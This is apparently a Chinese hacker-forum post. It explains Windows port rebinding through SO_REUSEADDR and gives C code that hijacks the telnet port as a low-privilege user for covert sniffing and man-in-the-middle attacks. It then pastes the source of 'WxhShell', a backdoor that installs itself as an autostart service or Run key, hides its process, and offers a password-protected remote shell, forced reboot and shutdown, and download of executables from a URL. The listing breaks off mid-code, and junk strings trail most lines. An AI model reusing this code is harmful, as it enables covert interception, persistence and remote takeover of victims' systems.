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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uoM;p'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .W#-Cl&n8  
j[Y$)HF  
  saddr.sin_family = AF_INET; J7`fve  
N:]71+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oWu2}#~z_  
;p !|E3o.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J .r^"K\  
gxIGL-1M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b V5{  
S~9K'\vO  
  这意味着什么?意味着可以进行如下的攻击: [zO:[i 7  
GxL;@%B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZPieL&uV`  
wE.CZ% f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,F,\bp}  
}Ss]/ _t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7S_rN!E1i*  
=z5'A|Wa=,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OO Hw-MW  
mIK-a{?G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @%7IZg;P6  
Df\~ ZWs!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {{G`0i2KV  
"0Wi-52=V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8 z) K  
_.9):i2<SF  
  #include 0h[p w   
  #include ~6HpI0i  
  #include 3D"2yTM(  
  #include    WF)(Q~op0U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e;+6U"Jx*  
  int main() ,N[N;Uoj  
  { qqL :#]lV5  
  WORD wVersionRequested; ne]P-50  
  DWORD ret; O_zW/#  
  WSADATA wsaData; rd*`8B  
  BOOL val; |[/<[@\''  
  SOCKADDR_IN saddr; YP^=b}  
  SOCKADDR_IN scaddr; 7# ~v<M6  
  int err; BGtr=&Hq  
  SOCKET s; uwQ~4   
  SOCKET sc; )\ `AD#  
  int caddsize; MI: rH  
  HANDLE mt;  /$Qs1*  
  DWORD tid;   skd3E4  
  wVersionRequested = MAKEWORD( 2, 2 ); E,~|-\b}h  
  err = WSAStartup( wVersionRequested, &wsaData ); z%)~s/2Rs  
  if ( err != 0 ) { Z~g6C0  
  printf("error!WSAStartup failed!\n"); BBV"nm_(/  
  return -1; R`[jkJrc  
  } Nl4,c[$C  
  saddr.sin_family = AF_INET; ?QDHEC62  
   ans(^Up$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;PS V3Zh  
s+tPHftp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,Wv@D"4?  
  saddr.sin_port = htons(23); Qm-I=Rh+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^(j}'p,  
  { Oe)d|6=  
  printf("error!socket failed!\n"); .wU0F  
  return -1; B(pxyv)  
  } #r=Jc8J_  
  val = TRUE; 2 c 2lK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yt'P,m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y3_C':r  
  { lm;Dy*|<  
  printf("error!setsockopt failed!\n"); UmR\2 cs  
  return -1; h SeXxSb:  
  } ~'9\y"N1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t3qPocYQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oe'f?IY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ){nOM$W  
{\WRW}iO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]c9\[Kdq}H  
  { u ?-|sv*  
  ret=GetLastError(); jIL+^{K<  
  printf("error!bind failed!\n"); khc1<BBsT  
  return -1; W?F Q  
  } e=cb%  
  listen(s,2); t/wo G9N  
  while(1) EED0U?  
  { 33=lR-N#  
  caddsize = sizeof(scaddr); y}F;~H~P  
  //接受连接请求 ,M.phRJ-`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kR+7JUq]  
  if(sc!=INVALID_SOCKET) KB"N',kG  
  { 8\X-]Gh\^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8FIk|p|l^  
  if(mt==NULL) *)(S}D\94  
  { k-N}tk/5  
  printf("Thread Creat Failed!\n"); |iA8aHFU  
  break; {E;oirv&  
  } }G)2HTaZ  
  } (KLhF  
  CloseHandle(mt); ~n~j2OE  
  } j"s7P%  
  closesocket(s); rJT YCe1*  
  WSACleanup(); k%TBpG:T  
  return 0; oF~+L3&X  
  }   WM;5/;bB  
  DWORD WINAPI ClientThread(LPVOID lpParam) iYf)FPET  
  { noso* K7  
  SOCKET ss = (SOCKET)lpParam; +lXIv  
  SOCKET sc; VaW^;d#  
  unsigned char buf[4096]; 0j!xv(1  
  SOCKADDR_IN saddr; I 6'!b/  
  long num; &P,uK+C4  
  DWORD val; 4?fpk9c{2  
  DWORD ret; HUChg{[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2 :4o`o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zm{`+boH<  
  saddr.sin_family = AF_INET; :}R,a=N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f5Hv![x  
  saddr.sin_port = htons(23); ?t/G@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *10qP?0H  
  { ;Dbx5-t  
  printf("error!socket failed!\n"); Cw"[$E'J  
  return -1; w!pj);jy{  
  } '5b0 K1$"  
  val = 100; qg/FI#r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H#u N&^+H  
  { ULhXyItL  
  ret = GetLastError(); E4'z  
  return -1; ZWni5uF-c  
  } 2rW9ja  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Ii`/I^  
  { Eyz.^)r  
  ret = GetLastError(); %JH/|mA&|  
  return -1; 052Cf dq  
  } /i dI-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F!phTu  
  { g!.piG|  
  printf("error!socket connect failed!\n"); 4x<H=CJC  
  closesocket(sc); 5 1N/XEk  
  closesocket(ss); &Nh zEl1  
  return -1; *p=enflU  
  } 2 6DX4  
  while(1) Rc3!u^?u  
  { Lq$ig8V:O7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OSfT\8YA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sa%%3_&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V']Z_$_  
  num = recv(ss,buf,4096,0); :nR80]  
  if(num>0) "G~!J\  
  send(sc,buf,num,0); pg!MtuC}  
  else if(num==0) SSCs96  
  break; )hl7)~S<  
  num = recv(sc,buf,4096,0); d=meh4Y  
  if(num>0) by0K:*C  
  send(ss,buf,num,0); Wz #Cyjo  
  else if(num==0) ,*dLE   
  break; ',xUU{5?  
  } 5jso)`IL  
  closesocket(ss); Qu,R6G  
  closesocket(sc); a] 7g\rg)  
  return 0 ; >e& L"  
  } 0;@>jo6,!  
vK@U K"m  
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========================================================== |U;O HS  
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下边附上一个代码,,WXhSHELL akNqSZwj  
K:jn^JN$  
========================================================== Y2XxfZ j  
MJqWc6{ n  
#include "stdafx.h" J'sa{/ #  
De^:9<{jc  
#include <stdio.h> vG'#5%,|  
#include <string.h> Q.$Rhjb  
#include <windows.h> 1P[x.t#  
#include <winsock2.h> =f y|Dm74  
#include <winsvc.h> ,pI9=e@O/z  
#include <urlmon.h> $l"%o9ICG  
65dMv*{  
#pragma comment (lib, "Ws2_32.lib") KcpYHWCa.  
#pragma comment (lib, "urlmon.lib") c QuL9Xo  
fn,hP_  
#define MAX_USER   100 // 最大客户端连接数 bY.VNA  
#define BUF_SOCK   200 // sock buffer ~a[ /l  
#define KEY_BUFF   255 // 输入 buffer eK l; T  
Nj3iZD|  
#define REBOOT     0   // 重启 0&|0l>wy.  
#define SHUTDOWN   1   // 关机 ?R#$ c]  
z9[TjTH^}T  
#define DEF_PORT   5000 // 监听端口 I/tMFg  
rkR5>S( 2M  
#define REG_LEN     16   // 注册表键长度 )Ln".Bu,  
#define SVC_LEN     80   // NT服务名长度 YIg43Av  
t!3N|`x  
// 从dll定义API M yHv>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M)+pH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s+lBai*#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F""9O6u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CUI+@|]%  
Dho6N]86r  
// wxhshell配置信息 ) yMrE T m  
struct WSCFG { lJ-PW\P  
  int ws_port;         // 监听端口 QcQ%A%VIV  
  char ws_passstr[REG_LEN]; // 口令 q/U-6A[0  
  int ws_autoins;       // 安装标记, 1=yes 0=no `e =IXkt  
  char ws_regname[REG_LEN]; // 注册表键名 B+`4UfB]Z}  
  char ws_svcname[REG_LEN]; // 服务名 K-C,n~-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I* C~w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R\3a Sx L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h9ScN(|0y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]qv0Y~+`-K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &R<aRE:+R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F =e9o*z  
xz"60xxY  
}; p 4> ThpX  
4kM/`g6?,q  
// default Wxhshell configuration ( 4L/I  
struct WSCFG wscfg={DEF_PORT, Om0$6O  
    "xuhuanlingzhe", Q!1;xw~  
    1, Yn }Gj'  
    "Wxhshell", 11yXI[  
    "Wxhshell", VjM3M<!g>M  
            "WxhShell Service", =9a2+v0  
    "Wrsky Windows CmdShell Service", ^_bG{du  
    "Please Input Your Password: ", ( *+'k1Ea  
  1, >5~#BrpwG  
  "http://www.wrsky.com/wxhshell.exe", tf~B,?  
  "Wxhshell.exe" LOx+?4|y  
    }; +r8bGS]ki  
A ]A{HEX  
// 消息定义模块 aDNB~CwZZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Az36wD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; INi$-Y+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >s{I@#9  
char *msg_ws_ext="\n\rExit."; XX~vg>3_  
char *msg_ws_end="\n\rQuit."; Zok{ndO@|f  
char *msg_ws_boot="\n\rReboot..."; VyxYv-$Y  
char *msg_ws_poff="\n\rShutdown..."; ]5Uuz?:e  
char *msg_ws_down="\n\rSave to "; x"12$7 9=  
/88s~=  
char *msg_ws_err="\n\rErr!"; -XV,r<''  
char *msg_ws_ok="\n\rOK!"; FbE/x$;~O  
/sKL|]i=  
char ExeFile[MAX_PATH]; X,|8Wpi=  
int nUser = 0; wGArR7r  
HANDLE handles[MAX_USER]; '8X>,un  
int OsIsNt; hC:'L9Y  
fc9;ZX7  
SERVICE_STATUS       serviceStatus; X1| +9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IK2da@V  
q3$8"Q^  
// 函数声明 @6;OF5VsQ  
int Install(void); $$9H1)Ny  
int Uninstall(void); Y{} ub]i  
int DownloadFile(char *sURL, SOCKET wsh); F 9%_@n  
int Boot(int flag); 4 &bmt  
void HideProc(void); , $7-SN  
int GetOsVer(void); )N.3Q1g-  
int Wxhshell(SOCKET wsl); b}! cEJY  
void TalkWithClient(void *cs); S?688  
int CmdShell(SOCKET sock); #-L0.z(  
int StartFromService(void); l.}PxZ  
int StartWxhshell(LPSTR lpCmdLine); R"cQyG4  
9Yt|Wj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9g6$"',H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4C;;V m4~  
}B0[S_mw  
// 数据结构和表定义 W@R7CQE@  
SERVICE_TABLE_ENTRY DispatchTable[] = Ed=/w6<  
{ >|3Y+X  
{wscfg.ws_svcname, NTServiceMain}, ex>7f%\  
{NULL, NULL} k4{!h?h  
}; Cy-p1s  
e$9a9twl  
// 自我安装 |4+'YgO  
int Install(void) t0 e6iof^o  
{ byM%D$R  
  char svExeFile[MAX_PATH]; Tvv>9gS  
  HKEY key; }?2X q  
  strcpy(svExeFile,ExeFile); vu( 5s  
GCl *x:  
// 如果是win9x系统,修改注册表设为自启动 c7CYulm  
if(!OsIsNt) { )Xdq+$w.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cu@q*:'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0>Y3xNb  
  RegCloseKey(key); .$\-{)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (wu'FFJp#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "}()/  
  RegCloseKey(key); 0moAmfc  
  return 0; ;1&"]N%  
    } ?NA $<0  
  } 2TGND-(j  
} &$s:h5HoX  
else { !/G}vu  
xd{.\!q.  
// 如果是NT以上系统,安装为系统服务 jU-LT8y:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /Xi21W/  
if (schSCManager!=0) xoVd[c!   
{ 2S7 BzZ/  
  SC_HANDLE schService = CreateService b_sasZo  
  ( lITd{E,+r  
  schSCManager, n[>hJ6  
  wscfg.ws_svcname, 18X?CoM~  
  wscfg.ws_svcdisp, N[eL Qe]q  
  SERVICE_ALL_ACCESS, WWSycH ?[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H!Gw@u]E  
  SERVICE_AUTO_START, $6m@gW]N  
  SERVICE_ERROR_NORMAL, D2VYw<tEA  
  svExeFile, k2Cq9kQq  
  NULL, $'l<2h>4  
  NULL, UG\2wH_  
  NULL, Xc[ym  
  NULL, igL5nE=n  
  NULL (-yif&  
  ); YC;@^  
  if (schService!=0) |6^a[x3/U  
  { XHv m{z=  
  CloseServiceHandle(schService); 0WzoI2Q  
  CloseServiceHandle(schSCManager); r.)n>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); od#Lad@p  
  strcat(svExeFile,wscfg.ws_svcname); Ch{6=k bK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kz b-a$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gZ&4b'XS,  
  RegCloseKey(key); B^9C}QB  
  return 0; ajkV"~w',|  
    } x .@O]}UH  
  }  }c||$  
  CloseServiceHandle(schSCManager); UG44 oKB  
} <Z t]V`-  
} sT=|"H?  
g@x72$j  
return 1; B Hp>(7,  
} ;Qy Ew5  
ax5n}  
// 自我卸载 w}6~t\9D  
int Uninstall(void) gna!Q  
{ 27R4B O  
  HKEY key; (XR}U6^v]  
xuHP4$<h3  
if(!OsIsNt) { 4 dHGU^#WZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !0^4D=dO  
  RegDeleteValue(key,wscfg.ws_regname); \_u{ EB'b  
  RegCloseKey(key); [ -Z 6QzT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xK0;saG#  
  RegDeleteValue(key,wscfg.ws_regname); 6Jy%4]wK  
  RegCloseKey(key); n[y=DdiKGS  
  return 0; [jN Vk3  
  } Uf_mwEE  
} m.6uLaD"!}  
} ZwxEcs+UM  
else { 9'Z{uHi%  
44n41.Q]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ s/j?/9  
if (schSCManager!=0) %iPIgma  
{ fFC9:9<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V@LBy1z  
  if (schService!=0) 8WLh7[  
  { +R$;LtR  
  if(DeleteService(schService)!=0) { gzK/l:  
  CloseServiceHandle(schService); Ts, U T L  
  CloseServiceHandle(schSCManager); W|;`R{<I%  
  return 0; [$$R>ELYQ  
  } ;=%cA#}_0  
  CloseServiceHandle(schService); IN;!s#cl:  
  } MC-Z6l2  
  CloseServiceHandle(schSCManager); 3>5gh8!-  
} 9]chv>dO)=  
} +|oLS_  
}#g &l*P  
return 1; kSJ;kz,_  
} i5WO)9Us  
B\|^$z2  
// 从指定url下载文件  OvC@E]/+  
int DownloadFile(char *sURL, SOCKET wsh) =JTwH>fD  
{ Vl(id_~_  
  HRESULT hr; lZ"C~B}9:I  
char seps[]= "/"; N>s3tGh  
char *token; BD.l5 ~:  
char *file; KKg\n^  
char myURL[MAX_PATH]; ,o `tRh<  
char myFILE[MAX_PATH]; ok-q9dM  
v!S(T];)  
strcpy(myURL,sURL); 0ikA@SAq  
  token=strtok(myURL,seps); ( Q&jp!WU  
  while(token!=NULL) &"1_n]JO  
  { H11@ DQ6  
    file=token; A|mE3q=  
  token=strtok(NULL,seps); 't \sXN+1  
  } ]]u_Mdk  
mCI5^%*0jQ  
GetCurrentDirectory(MAX_PATH,myFILE); O"[#g  
strcat(myFILE, "\\"); VzM (u _)  
strcat(myFILE, file);  Cb|R  
  send(wsh,myFILE,strlen(myFILE),0); !*wd d8   
send(wsh,"...",3,0); DfOig LG*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d| {<SRAI  
  if(hr==S_OK) s,laJf  
return 0; v49 i.c9  
else M;z )c|Z  
return 1; o}D7 $6  
N9H qFp  
} 'F1<m^  
Hw#yw g  
// 系统电源模块 TU| 0I  
int Boot(int flag) 5B{Eg?  
{ \3t)7.:4  
  HANDLE hToken; ]#rmk!VT?  
  TOKEN_PRIVILEGES tkp; >ZAn2s  
k a8=`cn  
  if(OsIsNt) { kgX"I ?>d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =*WfS^O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U`4t4CHA  
    tkp.PrivilegeCount = 1; w (,x{Bg\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OH5#.${O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [!#;QQ&M  
if(flag==REBOOT) { cc3+ Wx_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ZN;fDv  
  return 0; BLo=@C%w5  
} aXD|XE%  
else { !;U}ax;AF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A^pRHbRq  
  return 0; LC/%AbM  
} G7HvA46  
  } )|U+<r<  
  else { 0^MRPE|f5  
if(flag==REBOOT) { @%As>X<3t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LkJ-M=y  
  return 0; Oyjhc<6  
} DM !B@  
else { Kx,<-]4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <(o) * Zmo  
  return 0; 2MKB (;k  
} Qb1hk*$=  
} Y{dj~}mM+  
/. @"wAw:  
return 1; j1$s^-9  
} O ;B[ZMV  
5q.)K f+  
// win9x进程隐藏模块 A!`Q[%$  
void HideProc(void) V)Y#m/$`  
{ -IG@v0_w  
>VvA&p71b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e:WKb9nT  
  if ( hKernel != NULL ) >o!~T}J7  
  { ,tHV H7[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fUS1`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /.[78:G\,  
    FreeLibrary(hKernel); A]s|"Pav,  
  } 0\yA6`}!  
IM~2=+  
return; um1xSf1Xv  
} ; Z{jol  
B["C~aF  
// 获取操作系统版本 r1 [Jo|4vo  
int GetOsVer(void) GUqBnRA8j  
{ 5g;i{T/6~x  
  OSVERSIONINFO winfo; wy4 }CG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IpI|G!Y,  
  GetVersionEx(&winfo); Dt*/tVF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S/7?6y~  
  return 1; jB%aHUF;  
  else W 33MYw  
  return 0; 7 y'2  
} $~<]G)*Z  
NN@'79x  
// 客户端句柄模块 C7 T}:V](q  
int Wxhshell(SOCKET wsl) m e&'BQ  
{ #>dj!33  
  SOCKET wsh; ]?a i  
  struct sockaddr_in client; ) i=.x+Q  
  DWORD myID; ]}0QrD  
aLt2fB1)  
  while(nUser<MAX_USER) C0%yGLh&  
{ $irF  
  int nSize=sizeof(client); Ni-@El99  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i9j#Tu93 f  
  if(wsh==INVALID_SOCKET) return 1; 8XdgtYm  
bOS; 1~~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8t >nL  
if(handles[nUser]==0) $ucA.9pJ  
  closesocket(wsh); ![j?/376  
else M.?[Xpa  
  nUser++; rki0!P`  
  } G#nZ%qQ:I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JBt2R=  
u@pimRVo  
  return 0; b .|k j  
} }YCpd)@  
:B  9>  
// 关闭 socket ;Bwg'ThT  
void CloseIt(SOCKET wsh) a(oa?OdJ  
{ l~Rd\.O  
closesocket(wsh); iqr/MB,W  
nUser--; z1S p'h$  
ExitThread(0); 8(ej]9RObU  
} &hu>yH>j  
}WDzzjDR+  
// 客户端请求句柄 ^Fpc8D,  
void TalkWithClient(void *cs) O QGKH6q  
{ 9wbj}tN\z  
b|oT!s  
  SOCKET wsh=(SOCKET)cs; @L?KcGD  
  char pwd[SVC_LEN]; G4](!f!Kv  
  char cmd[KEY_BUFF]; xtO#reL"q?  
char chr[1]; #ADm^UT^  
int i,j; N>xdX5  
<NWq0 3:&  
  while (nUser < MAX_USER) { e2qSU[  
QTC!vKM  
if(wscfg.ws_passstr) { oju,2kpH7#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -}(2}~{e(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z0%:j\W4c  
  //ZeroMemory(pwd,KEY_BUFF); z3I |jy1  
      i=0; Q$(Fm a4a  
  while(i<SVC_LEN) { pZz\o  
gCq'#G\Z  
  // 设置超时 Qk72ra)  
  fd_set FdRead; lhC hk7l  
  struct timeval TimeOut; QQJf;p7  
  FD_ZERO(&FdRead); JED\"(d(  
  FD_SET(wsh,&FdRead); g%<n9AUl  
  TimeOut.tv_sec=8; $[UUf}7L   
  TimeOut.tv_usec=0; % Ai' 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -Xx4:S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X|-[i hp;  
m!5Edo-;<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _n1[(I  
  pwd=chr[0]; 5;+KMM:zb  
  if(chr[0]==0xd || chr[0]==0xa) { [5!dO\-[  
  pwd=0; k/(]1QnW  
  break; )k;;O7C k  
  } q=}1ud}1  
  i++; $<AaeyR!N  
    } }R11G9N.  
T*nP-b  
  // 如果是非法用户,关闭 socket @fb"G4o`:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `/^ _W <  
} u"4 B5D  
p6Z|)1O]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tva=DS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f}J(nz>Sh  
MqJ5|C.q  
while(1) { Ek1c>s,t  
G;$; $gM  
  ZeroMemory(cmd,KEY_BUFF); n}I?.r@e  
JQ 6M,O  
      // 自动支持客户端 telnet标准   ^Kg n:l  
  j=0; U (#JC(E-#  
  while(j<KEY_BUFF) { 1X&.po  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g/fpXO\  
  cmd[j]=chr[0]; 7[w<v(Rc  
  if(chr[0]==0xa || chr[0]==0xd) { &a;?o~%*]i  
  cmd[j]=0; Fj(GyPFG  
  break; 9 h?'zyX B  
  } FF~r&h8H  
  j++; 6y~F'/ww  
    } nQoQNB  
@0 /qP<E  
  // 下载文件 ?:ZB'G{%E  
  if(strstr(cmd,"http://")) { U(9_&sL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r34MDUZdI  
  if(DownloadFile(cmd,wsh)) //_H _ue$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8'HS$J;C  
  else r`.N?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Be=rBrI>  
  } 8M@'A5]  
  else { kQ}n~Hn  
avL_>7q  
    switch(cmd[0]) { &8z<~q  
  k%sH09   
  // 帮助 uTxa5j  
  case '?': { 8v4 o+w P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NOuG#P  
    break; > 'hM"4f  
  } !6T"J!F#  
  // 安装 B+j]C$8}  
  case 'i': { XS[L-NHG  
    if(Install()) k(l2`I4V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_xca(  
    else a/,>fv9;$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6JDHwV  
    break; IB/3=4n^|  
    } S@FO&o 0  
  // 卸载 6t6Z&0$h~  
  case 'r': { >F7w]XH  
    if(Uninstall()) ^ RA'E@ "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jpj=d@Of70  
    else b}3"v(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S{rltT-  
    break; T)rE#"_]{  
    } s|]g@cz an  
  // 显示 wxhshell 所在路径 d]pb1ECuu  
  case 'p': { .B# .   
    char svExeFile[MAX_PATH]; ?)xIn)#l s  
    strcpy(svExeFile,"\n\r"); 4hL%J=0:  
      strcat(svExeFile,ExeFile); XH"+oW  
        send(wsh,svExeFile,strlen(svExeFile),0); '4[=*!hs!  
    break;  uZS:  
    } $zM shLT  
  // 重启 i2~uhGJ  
  case 'b': { qd*}d)!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~2w&+@dV%  
    if(Boot(REBOOT)) elOeXYO0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9=%zdz2_S  
    else { n qcq3o*B  
    closesocket(wsh); h:YD $XE  
    ExitThread(0); G*fo9eu5$  
    } Je1d|1!3  
    break; 3 !"N;Q"  
    } $KiCs]I+  
  // 关机 W$rWg>4>  
  case 'd': { P[nc8z[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I0Pw~Jj{  
    if(Boot(SHUTDOWN)) =ejj@c  
